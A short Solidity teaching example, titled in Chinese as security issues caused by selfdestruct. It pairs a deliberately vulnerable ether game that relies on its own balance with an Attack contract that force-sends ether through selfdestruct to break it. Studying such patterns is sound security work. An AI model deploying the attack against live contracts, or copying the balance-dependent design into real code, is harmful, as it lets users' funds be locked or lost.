selfdestruct 导致的安全问题

//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Game{
    
    
    uint public targetAmount = 7 ether;
   
    address public winner;
    
    function deposit() public payable{
        
        require(msg.value == 1 ether, "you can only send 1 ether");
        
        uint balance  = address(this).balance;
        
        require(balance <= targetAmount,"Game is over");
        
        if(balance == targetAmount){
            
            winner = msg.sender;
        }
        
    }
    
    
    
    function claimReward() public{
        
        require(msg.sender == winner, "Not winner");
        
        (bool sent,) = msg.sender.call{value:address(this).balance}("");
    }
}



contract Attack{
    
    
    function attack(address payable target) public payable {
        
        
        selfdestruct(target);
        
    }
    
}